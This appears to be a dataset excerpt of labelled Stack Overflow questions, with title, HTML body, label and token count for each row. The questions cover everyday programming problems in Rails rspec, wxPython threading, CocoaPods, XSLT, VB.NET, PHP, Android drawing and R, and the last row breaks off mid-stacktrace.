title
stringlengths
13
150
body
stringlengths
749
64.2k
label
int64
0
3
token_count
int64
1.02k
28.5k
Remove comments when running rspec
<p>When I test my rails app using rspec, a bunch of long comments appear. How can I remove them ?</p> <pre><code> ActionController::RoutingError: No route matches [GET] "/events" # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/railties-5.0.0.1/lib/rails/rack/logger.rb:36:in `call_app' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/railties-5.0.0.1/lib/rails/rack/logger.rb:24:in `block in call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/railties-5.0.0.1/lib/rails/rack/logger.rb:24:in `call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-2.0.1/lib/rack/method_override.rb:22:in `call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-2.0.1/lib/rack/runtime.rb:22:in `call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-2.0.1/lib/rack/sendfile.rb:111:in `call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/railties-5.0.0.1/lib/rails/engine.rb:522:in `call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-2.0.1/lib/rack/urlmap.rb:68:in `block in call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-2.0.1/lib/rack/urlmap.rb:53:in `each' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-2.0.1/lib/rack/urlmap.rb:53:in `call' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-test-0.6.3/lib/rack/mock_session.rb:30:in `request' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-test-0.6.3/lib/rack/test.rb:244:in `process_request' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/rack-test-0.6.3/lib/rack/test.rb:58:in `get' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/capybara-2.7.1/lib/capybara/rack_test/browser.rb:61:in `process' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/capybara-2.7.1/lib/capybara/rack_test/browser.rb:36:in `process_and_follow_redirects' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/capybara-2.7.1/lib/capybara/rack_test/browser.rb:22:in `visit' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/capybara-2.7.1/lib/capybara/rack_test/driver.rb:43:in `visit' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/capybara-2.7.1/lib/capybara/session.rb:233:in `visit' # /Users/hadi/.rvm/gems/ruby-2.3.0/gems/capybara-2.7.1/lib/capybara/dsl.rb:52:in `block (2 levels) in &lt;module:DSL&gt;' # ./spec/features/list_movies_spec.rb:5:in `block (2 levels) in &lt;top (required)&gt;' </code></pre>
3
1,118
How to terminate thread using condition returned by wx.CallAfter()?
<p>I am very new to wxPython and also not familiar with thread concept. I would appreciate a lot if anyone could provide info sources or suggestion to my question. </p> <p>I had created a GUI using wxpython to allow users run my script with inputs. Since one step takes 20 min to run so I plan to create a Progress Dialog to show users progress and allow them to abort it. I had tested this using the sample code below. </p> <p>However, I couldn't stop WorkThread even though I clicked the Stop Button in Progress Dialog. I tried 1. make if statement using return value from pb.sendMessage() 2. create the ProgressDialog object when WorkThread starts and call ProgressDialog.abort but none of them work. I wonder if there's conceptual mistakes implementing code like this to achieve what I want to do? Or if this can work with correction? Any hint would be appreciated!!</p> <pre><code>class WorkThread(Thread): def __init__(self): """Init Worker Thread Class.""" Thread.__init__(self) self.start() # start the thread def run(self): for i in range(10): time.sleep(1) val = 100 / 10 wx.CallAfter(pub.sendMessage, "update", step=val) print 'Finish Run' class ProgressDialog(wx.Dialog): def __init__(self): wx.Dialog.__init__(self, None) self.abort = False self.progress = 0 bSizer2 = wx.BoxSizer(wx.VERTICAL) self.gauge = wx.Gauge(self, wx.ID_ANY, 100, wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL) self.gauge.SetValue(0) self.m_button1 = wx.Button(self, wx.ID_ANY, u"Stop Training", wx.DefaultPosition, wx.DefaultSize, 0) bSizer2.Add(self.gauge, 0, 0, 5) bSizer2.Add(self.m_button1, 0, 0, 5) self.SetSizer(bSizer2) self.Layout() self.Centre(wx.BOTH) ## Connect Events self.m_button1.Bind(wx.EVT_BUTTON, self.on_cancel) pub.subscribe(self.updateProgress, "update") def updateProgress(self, step): self.progress += step if self.abort: self.Update() self.Close() elif self.progress &gt;= 100: self.gauge.SetValue(self.progress) self.Update() self.Close() else: self.gauge.SetValue(self.progress) def on_cancel(self, event): """Cancels the conversion process""" self.abort = True print 'Click' # pub.unsubscribe(self.if_abort, 'cancel') def __del__(self): pass ######################################################################################## class MainFrame(wx.Frame): # ---------------------------------------------------------------------- def __init__(self,parent): wx.Frame.__init__(self,parent) # Add a panel so it looks the correct on all platforms panel = wx.Panel(self, wx.ID_ANY) self.btn = btn = wx.Button(panel, label="Start Thread") btn.Bind(wx.EVT_BUTTON, self.onButton) sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add(btn, 0, wx.ALL | wx.CENTER, 5) panel.SetSizer(sizer) # ---------------------------------------------------------------------- def onButton(self, event): btn = event.GetEventObject() btn.Disable() WorkThread() self.dlg = ProgressDialog() self.dlg.ShowModal() btn.Enable() app = wx.App() frame = MainFrame(None) frame.Show(True) # start the applications app.MainLoop() </code></pre>
3
1,439
pod spec lint fails with 400
<p>I followed all the steps from <a href="https://guides.cocoapods.org/making/using-pod-lib-create" rel="nofollow noreferrer">https://guides.cocoapods.org/making/using-pod-lib-create</a> to make my openSource library available on cocoapds. At the end of the steps before publishing run <code>pod lib lint</code> command and it passed the test:</p> <pre><code> -&gt; SHMultipleSelect (0.1.0) SHMultipleSelect passed validation. </code></pre> <p>But <code>pod spec lint</code> command giving some error:</p> <pre><code>[!] /usr/bin/git clone https://github.com/&lt;GITHUB_USERNAME&gt;/SHMultipleSelect.git /var/folders/fn/49fp5hx941541w0ncv5n28_h0000gn/T/d20150723-39741-1esoisq --single-branch --depth 1 --branch 0.1.0 Cloning into '/var/folders/fn/49fp5hx941541w0ncv5n28_h0000gn/T/d20150723-39741-1esoisq'... fatal: unable to access 'https://github.com/&lt;GITHUB_USERNAME&gt;/SHMultipleSelect.git/': The requested URL returned error: 400 </code></pre> <p>Searched error through stackoverflow and found this <a href="https://stackoverflow.com/questions/30073705/can-not-update-my-pod-library">Can not update my pod library</a>. Run <code>pod spec lint SHMultipleSelect.podspec</code> command as accepted answer says and it gived me another error:</p> <pre><code>[!] /usr/bin/git clone https://github.com/Shamsiddin/SHMultipleSelect.git /var/folders/fn/49fp5hx941541w0ncv5n28_h0000gn/T/d20150723-39842-774kfl --single-branch --depth 1 --branch 0.1.0 Cloning into '/var/folders/fn/49fp5hx941541w0ncv5n28_h0000gn/T/d20150723-39842-774kfl'... warning: Could not find remote branch 0.1.0 to clone. fatal: Remote branch 0.1.0 not found in upstream origin Unexpected end of command stream </code></pre> <p>Not clear to solve my problem. Can someone show me rote where to go?</p> <p>Here's my librarys Git url: <a href="https://github.com/Shamsiddin/SHMultipleSelect" rel="nofollow noreferrer">https://github.com/Shamsiddin/SHMultipleSelect</a></p> <p>And my library's .podspec file:</p> <pre><code># # Be sure to run `pod lib lint SHMultipleSelect.podspec' to ensure this is a # valid spec and remove all comments before submitting the spec. # # Any lines starting with a # are optional, but encouraged # # To learn more about a Podspec see http://guides.cocoapods.org/syntax/podspec.html # Pod::Spec.new do |s| s.name = "SHMultipleSelect" s.version = "0.1.0" s.summary = "An easy-to-use multiple selection view." s.description = &lt;&lt;-DESC An easy-to-use multiple selection view for iOS 7+. DESC s.homepage = "https://github.com/Shamsiddin/SHMultipleSelect" # s.screenshots = "www.example.com/screenshots_1", "www.example.com/screenshots_2" s.license = 'MIT' s.author = { "Shamsiddin" =&gt; "shamsiddin.saidov@gmail.com" } s.source = { :git =&gt; "https://github.com/Shamsiddin/SHMultipleSelect.git", :tag =&gt; s.version.to_s } # s.social_media_url = 'https://twitter.com/Shamsiddin_Said' s.platform = :ios, '7.0' s.requires_arc = true s.source_files = 'Pod/Classes/**/*' s.resource_bundles = { 'SHMultipleSelect' =&gt; ['Pod/Assets/*.png'] } # s.public_header_files = 'Pod/Classes/**/*.h' # s.frameworks = 'UIKit', 'MapKit' # s.dependency 'AFNetworking', '~&gt; 2.3' end </code></pre> <p><strong>EDIT 1:</strong></p> <p>It turns out i didn't create a tag at my Github repo. I created tag with the version <code>0.1.0</code> and run <code>pod spec lint SHMultipleSelect.podspec</code> command again. Now it's giving me another error:</p> <pre><code> -&gt; SHMultipleSelect (0.1.0) - ERROR | [iOS] The `source_files` pattern did not match any file. Analyzed 1 podspec. [!] The spec did not pass validation, due to 1 error. </code></pre> <p><strong>EDIT 2:</strong></p> <p>Added screenshot from my projects structure: <a href="https://i.stack.imgur.com/xD2b1.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/xD2b1.png" alt="enter image description here"></a></p> <p><strong>EDIT 3:</strong></p> <p>Added screenshot from my project's structure on disc. The structure is created using <code>pod lib create SHMultipleSelect</code> command <a href="https://i.stack.imgur.com/jlJ3v.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/jlJ3v.png" alt="enter image description here"></a></p>
3
1,711
when replace the xml elements with the help of xsl stylesheet using java,not getting replaced
<p>how to replace the child tag name with xsl. here the below is my structure of xml.</p> <pre><code> &lt;Checkpax xmlns="http://xml.api.com/test"&gt; &lt;customerLevel&gt; &lt;customerDetails&gt; &lt;paxDetails&gt; &lt;surname&gt;MUKHERJEE&lt;/surname&gt; &lt;type&gt;A&lt;/type&gt; &lt;gender&gt;M&lt;/gender&gt; &lt;/paxDetails&gt; &lt;otherPaxDetails&gt; &lt;givenName&gt;JOY&lt;/givenName&gt; &lt;title&gt;MR&lt;/title&gt; &lt;age&gt;11&lt;/age&gt; &lt;/otherPaxDetails&gt; &lt;otherPaxDetails&gt; &lt;title&gt;MR&lt;/title&gt; &lt;/otherPaxDetails&gt; &lt;/customerDetails&gt; &lt;staffDetails&gt; &lt;staffInfo/&gt; &lt;staffCategoryInfo&gt; &lt;attributeDetails&gt; &lt;attributeType&gt;NA&lt;/attributeType&gt; &lt;/attributeDetails&gt; &lt;/staffCategoryInfo&gt; &lt;/staffDetails&gt; &lt;productLevel&gt; &lt;legLevel&gt; &lt;legLevelIndicator&gt; &lt;statusDetails&gt; &lt;indicator&gt;abc&lt;/indicator&gt; &lt;action&gt;1&lt;/action&gt; &lt;/statusDetails&gt; &lt;/legLevelIndicator&gt; &lt;/legLevel&gt; &lt;/productLevel&gt; &lt;CustomerLevel&gt; &lt;legLevel&gt; &lt;legLevelIndicator&gt; &lt;statusDetails&gt; &lt;indicator&gt;cde&lt;/indicator&gt; &lt;action&gt;1&lt;/action&gt; &lt;/statusDetails&gt; &lt;/legLevelIndicator&gt; &lt;/legLevel&gt; &lt;/CustomerLevel&gt; &lt;/customerLevel&gt; &lt;/Checkpax&gt; </code></pre> <p>The below is my XSL file</p> <pre><code>&lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt; &lt;xsl:output method="xml" omit-xml-declaration="yes"/&gt; &lt;xsl:template match="@*|node()"&gt; &lt;xsl:copy&gt; &lt;xsl:apply-templates select="@*|node()" /&gt; &lt;/xsl:copy&gt; &lt;/xsl:template&gt; &lt;xsl:template match="customerLevel/productLevel/legLevel/legLevelIndicator/statusDetails"&gt; &lt;statusInformation&gt; &lt;xsl:apply-templates select="@*|node()" /&gt; &lt;/statusInformation&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>here the statusDetails name should be changed as staffInformation inside the ProductLevel/LeglevelIndicator . Kindly give me the suggestion for doing this.</p> <p>The below is expected result</p> <pre><code>&lt;Checkpax xmlns="http://xml.api.com/test"&gt; &lt;customerLevel&gt; &lt;customerDetails&gt; &lt;paxDetails&gt; &lt;surname&gt;MUKHERJEE&lt;/surname&gt; &lt;type&gt;A&lt;/type&gt; &lt;gender&gt;M&lt;/gender&gt; &lt;/paxDetails&gt; &lt;otherPaxDetails&gt; &lt;givenName&gt;JOY&lt;/givenName&gt; &lt;title&gt;MR&lt;/title&gt; &lt;age&gt;11&lt;/age&gt; &lt;/otherPaxDetails&gt; &lt;otherPaxDetails&gt; &lt;title&gt;MR&lt;/title&gt; &lt;/otherPaxDetails&gt; &lt;/customerDetails&gt; &lt;staffDetails&gt; &lt;staffInfo/&gt; &lt;staffCategoryInfo&gt; &lt;attributeDetails&gt; &lt;attributeType&gt;NA&lt;/attributeType&gt; &lt;/attributeDetails&gt; &lt;/staffCategoryInfo&gt; &lt;/staffDetails&gt; &lt;productLevel&gt; &lt;legLevel&gt; &lt;legLevelIndicator&gt; &lt;statusInformation&gt; &lt;indicator&gt;abc&lt;/indicator&gt; &lt;action&gt;1&lt;/action&gt; &lt;/statusInformation&gt; &lt;/legLevelIndicator&gt; &lt;/legLevel&gt; &lt;/productLevel&gt; &lt;CustomerLevel&gt; &lt;legLevel&gt; &lt;legLevelIndicator&gt; &lt;statusDetails&gt; &lt;indicator&gt;cde&lt;/indicator&gt; &lt;action&gt;1&lt;/action&gt; &lt;/statusDetails&gt; &lt;/legLevelIndicator&gt; &lt;/legLevel&gt; &lt;/CustomerLevel&gt; &lt;/customerLevel&gt; &lt;/Checkpax&gt; </code></pre>
3
2,999
My program will not calculate totals
<p>I am doing a school project and I am supposed to create a database that will calculate rental equipment. It supposed to calculate the number of days and calculate a total for the entire bill. My program doesn't calculate. Here is the code for the program: </p> <pre><code>Public Class VandemanForm ' Declare module level variables and constants. Const FLOOR_POLISHER_PER_DAY_Decimal As Decimal = 25.95D Const CARPET_STRETCHER_PER_DAY_Decimal As Decimal = 17.95D Const NAIL_GUN_PER_DAY_Decimal As Decimal = 11.49D Const AIR_COMPRESSOR_PER_DAY_Decimal As Decimal = 19.95D 'This stores the price per day Private FloorPolisherPerDayDecimal As Decimal = 0D Private CarpetStretcherPerDayDecimal As Decimal = 0D Private NailGunPerDayDecimal As Decimal = 0D Private AirCompressorPerDayDecimal As Decimal = 0D 'This stores the number of days entered Private FloorPolisherDaysDecimal As Decimal = 0D Private CarpetStretcherDaysDecimal As Decimal = 0D Private NailGunDaysDecimal As Decimal = 0D Private AirCompressorDaysDecimal As Decimal = 0D Private Sub CalculateButton_Click(ByVal sender As _ System.Object, ByVal e As System.EventArgs) _ Handles CalculateButton.Click ' Declare procedure level variables to hold data Dim FloorPolisherTotalDecimal As Decimal = 0D Dim CarpetStretcherTotalDecimal As Decimal = 0D Dim NailGunTotalDecimal As Decimal = 0D Dim AirCompressorTotalDecimal As Decimal = 0D Dim GrandTotalDecimal As Decimal = 0D ' Check to see that data has been entered and in ' the correct format before calculating totals. If FirstNameTextBox.Text &lt;&gt; vbNullString And _ LastNameTextBox.Text &lt;&gt; vbNullString Then Else MessageBox.Show("First name and last name must be entered.", _ "Customer name error.", MessageBoxButtons.OK, _ MessageBoxIcon.Error) FirstNameTextBox.Focus() End If ' Check for an entry in the equipment days text boxes and if not ' empty, go on to calculate Try If FloorPolisherDaysTextBox.Text &lt;&gt; vbNullString Then FloorPolisherDaysDecimal = Decimal.Parse(FloorPolisherDaysTextBox.Text) FloorPolisherTotalDecimal = FloorPolisherDaysDecimal * FloorPolisherPerDayDecimal End If If CarpetStretcherDaysTextBox.Text &lt;&gt; vbNullString Then CarpetStretcherDaysDecimal = Decimal.Parse(CarpetStretcherDaysTextBox.Text) CarpetStretcherTotalDecimal = CarpetStretcherDaysDecimal * CarpetStretcherPerDayDecimal End If If NailGunDaysTextBox.Text &lt;&gt; vbNullString Then NailGunDaysDecimal = Decimal.Parse(NailGunDaysTextBox.Text) NailGunTotalDecimal = NailGunDaysDecimal * NailGunPerDayDecimal End If If AirCompressorDaysTextBox.Text &lt;&gt; vbNullString Then AirCompressorDaysDecimal = Decimal.Parse(AirCompressorDaysTextBox.Text) AirCompressorTotalDecimal = AirCompressorDaysDecimal * AirCompressorPerDayDecimal End If GrandTotalDecimal = FloorPolisherTotalDecimal + CarpetStretcherTotalDecimal _ + NailGunTotalDecimal + AirCompressorTotalDecimal Catch ex As Exception MessageBox.Show("The days of the equipment rental must be numeric if entered.", "Data Entry Error", MessageBoxButtons.OK, MessageBoxIcon.Error) End Try ' Display the results and format as currency FloorPolisherSubtotalTextBox.Text = FloorPolisherTotalDecimal.ToString("C") CarpetStretcherSubtotalTextBox.Text = CarpetStretcherTotalDecimal.ToString("C") NailGunSubtotalTextBox.Text = NailGunTotalDecimal.ToString("C") AirCompressorSubtotalTextBox.Text = AirCompressorTotalDecimal.ToString("C") GrandTotalDecimal = FloorPolisherTotalDecimal + CarpetStretcherTotalDecimal _ + NailGunTotalDecimal + AirCompressorTotalDecimal TotalTextBox.Text = GrandTotalDecimal.ToString("C") End Sub Private Sub ExitButton_Click(ByVal sender As _ System.Object, ByVal e As System.EventArgs) _ Handles ExitButton.Click Me.Close() End Sub Private Sub ClearButton_Click(ByVal sender As System.Object, _ ByVal e As System.EventArgs) Handles ClearButton.Click ' Clear all text boxes, Return the focus to the first name field. FirstNameTextBox.Clear() LastNameTextBox.Clear() FloorPolisherDaysTextBox.Clear() CarpetStretcherDaysTextBox.Clear() NailGunDaysTextBox.Clear() AirCompressorDaysTextBox.Clear() FloorPolisherSubtotalTextBox.Clear() CarpetStretcherSubtotalTextBox.Clear() NailGunSubtotalTextBox.Clear() AirCompressorSubtotalTextBox.Clear() TotalTextBox.Clear() 'Return focus to the first name textbox FirstNameTextBox.Focus() End Sub Private Sub OrderGroupBox_Enter(sender As System.Object, e As System.EventArgs) Handles FloorToolOrderGroupBox.Enter End Sub End Class </code></pre>
3
2,105
Loop breaks after certain amount of iteration
<p>I've a job to do some migration on wordpress sites, although I don't think wordpress has anything to do with my problem. So I'm getting a set of data from a table (id, value) which is serialized. </p> <p>I want to put the serialized data into arrays, according to the function. The algorithm doing everything fine for the first 86 records.</p> <p>If I run the algorithm on just 86 records I get all the right data instantly. But when I run it 87 or more times its just goes into loading. Doesn't matter how long the max execution time limit is it's still gonna reach it apparently. </p> <p>I checked the 87th record if theres something odd with it, but nothing i can see. Is there any idea what could couse this?</p> <p>Here's the code:</p> <pre><code>global $wpdb; $houses_built_years = $wpdb-&gt;get_results('SELECT post_id, meta_value FROM bp100_postmeta WHERE meta_key = "epites_eve"'); foreach ($houses_built_years as $house_built_years) { if ($house_built_years-&gt;meta_value) { $years = unserialize($house_built_years-&gt;meta_value); } else { continue; } $build = array(array()); $series = 0; $year = 0; while (count($years)) { if ($build[$series][$year] &amp;&amp; (min($years) - $build[$series][$year] == 1)) { $year++; $build[$series][$year] = min($years); unset($years[array_search(min($years), $years)]); } else if ($build[$series][$year]) { $year = 0; $series++; $build[$series][$year] = min($years); unset($years[array_search(min($years), $years)]); } else { $build[$series][$year] = min($years); unset($years[array_search(min($years), $years)]); } } $repeater = array(); foreach ($build as $series) { if (count($series) &gt; 1) { $repeater[] = $series[0] . ' - ' . $series[count($series) - 1]; } else { $repeater[] = $series[0]; } } } </code></pre> <p>Here's some example of records (algoithm breaking at id = 30517):</p> <blockquote> <p>30279 1201 epites_eve a:1:{i:0;s:4:"1898";}</p> <p>30338 1202 epites_eve a:1:{i:0;s:4:"1891";}</p> <p>30397 1203 epites_eve a:1:{i:0;s:4:"1894";}</p> <p>30517 1205 epites_eve a:1:{i:0;s:4:"1897";}</p> <p>30577 1206 epites_eve a:1:{i:0;s:4:"1891";}</p> </blockquote>
3
1,194
Why are buttons making my canvas drawing like hexagon shape in Android?
<p><a href="https://i.stack.imgur.com/omp5C.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/omp5C.jpg" alt="Smooth circle"></a> <a href="https://i.stack.imgur.com/gNtnZ.jpg" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gNtnZ.jpg" alt="enter image description here"></a>I have a strange problem I'm creating a canvas drawing app in Android that has lots of buttons in xml file. The problems is when I draw a circle with all those buttons included in the file it's never a smooth circle it's full of corners like hexagon shape but when I exclude buttons may be leaving in one or two, it draws a perfect smooth circle. I have tried to split the file into three so I've included them using but still same result. Can someone please enlighten me what am I do wrong.</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent" android:layout_height="match_parent" tools:context=".MainActivity"&gt; &lt;!--First Draw --&gt; &lt;android.support.v4.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/drawer_layout" android:layout_width="match_parent" android:layout_height="match_parent" tools:openDrawer="start"&gt; &lt;LinearLayout android:layout_width="fill_parent" android:layout_height="fill_parent" android:orientation="vertical" &gt; &lt;ImageButton android:id="@+id/nav_one" android:layout_width="30dp" android:layout_height="60dp" android:layout_marginTop="100dp" android:layout_marginBottom="100dp" android:background="@drawable/ic_tab_res_bkg"/&gt; &lt;ImageButton android:id="@+id/nav_two" android:layout_width="30dp" android:layout_height="60dp" android:layout_marginTop="200dp" android:background="@drawable/ic_tab_tools_bkg"/&gt; &lt;/LinearLayout&gt; &lt;FrameLayout android:id="@+id/content_frame" android:layout_width="match_parent" android:layout_height="match_parent" /&gt; &lt;!-- The navigation drawer --&gt; &lt;ListView android:id="@+id/resource_bank" android:layout_width="350dp" android:layout_height="match_parent" android:layout_gravity="start" android:choiceMode="singleChoice" android:divider="@android:color/background_light" android:dividerHeight="0dp" android:background="#f4f1f1" /&gt; &lt;ListView android:id="@+id/tools" android:layout_width="350dp" android:layout_height="match_parent" android:layout_gravity="end" android:choiceMode="singleChoice" android:divider="@android:color/background_light" android:dividerHeight="0dp" android:background="#dedada"/&gt; &lt;/android.support.v4.widget.DrawerLayout&gt; &lt;RelativeLayout android:id="@+id/main" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_gravity="center" &gt; &lt;xxxxx.xxxxxx.xxxx.xxxxxx.DrawView android:id="@+id/canvas_view" android:layout_width="match_parent" android:layout_height="match_parent"/&gt; &lt;FrameLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="wrap_content" android:layout_alignBottom="@+id/canvas_view"&gt; &lt;!-- Pen icons --&gt; &lt;include layout="@layout/activity_pen_color" android:id="@+id/pen_color" /&gt; &lt;include layout="@layout/activity_pen_style" android:id="@+id/pen_style" /&gt; &lt;!-- Navigation bar icons --&gt; &lt;ImageView android:id="@+id/icon_bar" android:layout_width="match_parent" android:layout_height="70dp" android:layout_gravity="bottom" android:background="@drawable/icon_bar_bkg" /&gt; &lt;Button android:id="@+id/ic_select" android:layout_width="30dp" android:layout_height="30dp" android:layout_marginLeft="150dp" android:layout_marginTop="60dp" android:elevation="1dp" android:background="@drawable/ic_select_bkg"/&gt; &lt;TextView android:id="@+id/text_select" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="150dp" android:layout_marginTop="90dp" android:text="Select" android:textColor="@color/colorAccent" /&gt; &lt;Button android:id="@+id/ic_pens" android:layout_width="30dp" android:layout_height="30dp" android:layout_marginLeft="200dp" android:layout_marginTop="60dp" android:elevation="1dp" android:background="@drawable/ic_pen_bkg"/&gt; &lt;TextView android:id="@+id/text_pens" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_marginLeft="200dp" android:layout_marginTop="90dp" android:text="Pen" android:textColor="@color/colorAccent" /&gt; &lt;/FrameLayout&gt; &lt;/RelativeLayout&gt; </code></pre> <p></p> <p>My DrawView</p> <pre><code>public class DrawView extends View { private Paint drawPaint, canvasPaint; private Canvas drawCanvas; private Bitmap canvasBitmap; private SparseArray&lt;Path&gt; paths; public DrawView(Context context) { super(context); setupDrawing(); } public DrawView(Context context, AttributeSet attrs) { super(context, attrs); setupDrawing(); } public DrawView(Context context, AttributeSet attrs, int defStyleAttr) { super(context, attrs, defStyleAttr); setupDrawing(); } private void setupDrawing() { paths = new SparseArray&lt;&gt;(); drawPaint = new Paint(); drawPaint.setColor(Color.BLACK); drawPaint.setAntiAlias(true); drawPaint.setStrokeWidth(9); drawPaint.setStyle(Paint.Style.STROKE); drawPaint.setStrokeJoin(Paint.Join.ROUND); drawPaint.setStrokeCap(Paint.Cap.ROUND); canvasPaint = new Paint(Paint.DITHER_FLAG); } @Override protected void onSizeChanged(int w, int h, int oldw, int oldh) { super.onSizeChanged(w, h, oldw, oldh); canvasBitmap = Bitmap.createBitmap(w, h, Bitmap.Config.ARGB_8888); drawCanvas = new Canvas(canvasBitmap); } @Override protected void onDraw(Canvas canvas) { canvas.drawBitmap(canvasBitmap, 0, 0, canvasPaint); for (int i=0; i&lt;paths.size(); i++) { canvas.drawPath(paths.valueAt(i), drawPaint); } } @Override public boolean onTouchEvent(MotionEvent event) { int index = event.getActionIndex(); int id = event.getPointerId(index); Path path; switch (event.getActionMasked()) { case MotionEvent.ACTION_DOWN: case MotionEvent.ACTION_POINTER_DOWN: path = new Path(); path.moveTo(event.getX(index), event.getY(index)); paths.put(id, path); break; case MotionEvent.ACTION_MOVE: for (int i=0; i&lt;event.getPointerCount(); i++) { id = event.getPointerId(i); path = paths.get(id); if (path != null) path.lineTo(event.getX(i), event.getY(i)); } break; case MotionEvent.ACTION_UP: case MotionEvent.ACTION_POINTER_UP: path = paths.get(id); if (path != null) { drawCanvas.drawPath(path, drawPaint); paths.remove(id); } break; default: return false; } invalidate(); return true; } /** * change path color here */ public void setPathColor(int color) { drawPaint.setColor(color); } } </code></pre>
3
3,698
Need help writing a function for summary_table(dplyr::group_by
<p>I am trying to create a function that will minimize the number of times I will have to calculate all of the stats individually (Min, Median, Max, Mean, SD, and NAs). I have included the first two pieces of this large list, and how the list is being used. </p> <pre><code> list("Child Age" = list("Min" = ~ min(.data$ChildAge,na_rm = TRUE), "Median" = ~ median(.data$ChildAge,na_rm = TRUE), "Mean &amp;plusmn; SD" = ~ qwraps2::mean_sd(.data$ChildAge,na_rm = TRUE), "Max" = ~ max(.data$ChildAge,na_rm = TRUE), "NA (Not factored in analysis)" = ~ percent(sum(is.na(.data$ChildAge)) /length(.data$ChildAge))), "Child Gender" = list("Girl" = ~ qwraps2::n_perc(.data$ChildGender == "Girl", na_rm = TRUE), "Boy" = ~ qwraps2::n_perc(.data$ChildGender == "Boy", na_rm = TRUE)) ...... by_clinic_demographic &lt;- summary_table(dplyr::group_by(df, Clinic), demographic_summary) by_clinic_demographic </code></pre> <p>I have tried to design a function that will work:</p> <pre><code>analysis_func &lt;- function(x=df$StudyID) { list1 &lt;- list("Min" = min(x,na.rm = TRUE), "Median" = median(x,na.rm = TRUE), "Mean &amp;plusmn; SD" = qwraps2::mean_sd(x,na_rm = TRUE), "Max" = max(x,na.rm = TRUE), "NA (Not factored in analysis)" = percent(sum(is.na(x)) /length(x))) #str(list1) return(list1) } </code></pre> <p>When I then go to call this function in a new list:</p> <pre><code>assessment_summary &lt;- list("Mother Age" = analysis_func(.data$MotherAge),, </code></pre> <p>I get the error: <strong>Error: <code>x</code> must be a formula</strong></p> <p>When I add ~ after the = sign, so for example:</p> <pre><code>"Min" = ~ min(x,na.rm = TRUE) </code></pre> <p>I then get the error: <strong>Error in FUN(X[[i]], ...) : only defined on a data frame with all numeric variables</strong></p> <p>Here is a simplified version to highlight the issue that I am having:</p> <pre><code>analysis_func &lt;- function(x=df$StudyID) { list1 &lt;- list("Min" = ~ min(x,na.rm = TRUE), "Median" = ~ median(x,na.rm = TRUE), "Mean &amp;plusmn; SD" = ~ qwraps2::mean_sd(x,na_rm = TRUE), "Max" = ~ max(x,na.rm = TRUE), "NA (Not factored in analysis)" = ~ percent(sum(is.na(x)) /length(x))) return(list1) } test_summary &lt;- list("Scores" = analysis_func(.data$StudyID)) # test_stack &lt;- summary_table(dplyr::group_by(dataframe, s), test_summary) # test_stack n = c(2, 3, 5, 4,10,12,rep(10,4)) s = c(rep("aa",5),rep("bb",5)) dataframe &lt;- data.frame (n,s) test_summary2 &lt;- list("Scores" = list("Min" = ~ min(.data$n,na_rm = TRUE), "Median" = ~ median(.data$n,na_rm = TRUE), "Mean &amp;plusmn; SD" = ~ qwraps2::mean_sd(.data$n,na_rm = TRUE), "Max" = ~ max(.data$n,na_rm = TRUE), "NA (Not factored in analysis)" = ~ percent(sum(is.na(.data$n)) /length(.data$n))) ) test_stack &lt;- summary_table(dplyr::group_by(dataframe, s), test_summary2) test_stack </code></pre> <p>Any help would be appreciated.</p>
3
1,414
android : Unable to instantiate activity ComponentInfo java.lang.NullPointerException
<p>I have the error as below : </p> <pre><code> FATAL EXCEPTION: main Process: com.example.jsontest, PID: 9486 java.lang.RuntimeException: Unable to instantiate activity ComponentInfo{com.example.jsontest/com.example.jsontest.ClosetMainActivity}: java.lang.NullPointerException at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2110) at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2233) at android.app.ActivityThread.access$800(ActivityThread.java:135) at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1196) at android.os.Handler.dispatchMessage(Handler.java:102) at android.os.Looper.loop(Looper.java:136) at android.app.ActivityThread.main(ActivityThread.java:5001) at java.lang.reflect.Method.invokeNative(Native Method) at java.lang.reflect.Method.invoke(Method.java:515) at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:785) at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:601) at dalvik.system.NativeStart.main(Native Method) Caused by: java.lang.NullPointerException at android.content.ContextWrapper.getApplicationContext(ContextWrapper.java:109) at com.example.jsontest.ClosetMainActivity.&lt;init&gt;(ClosetMainActivity.java:69) at 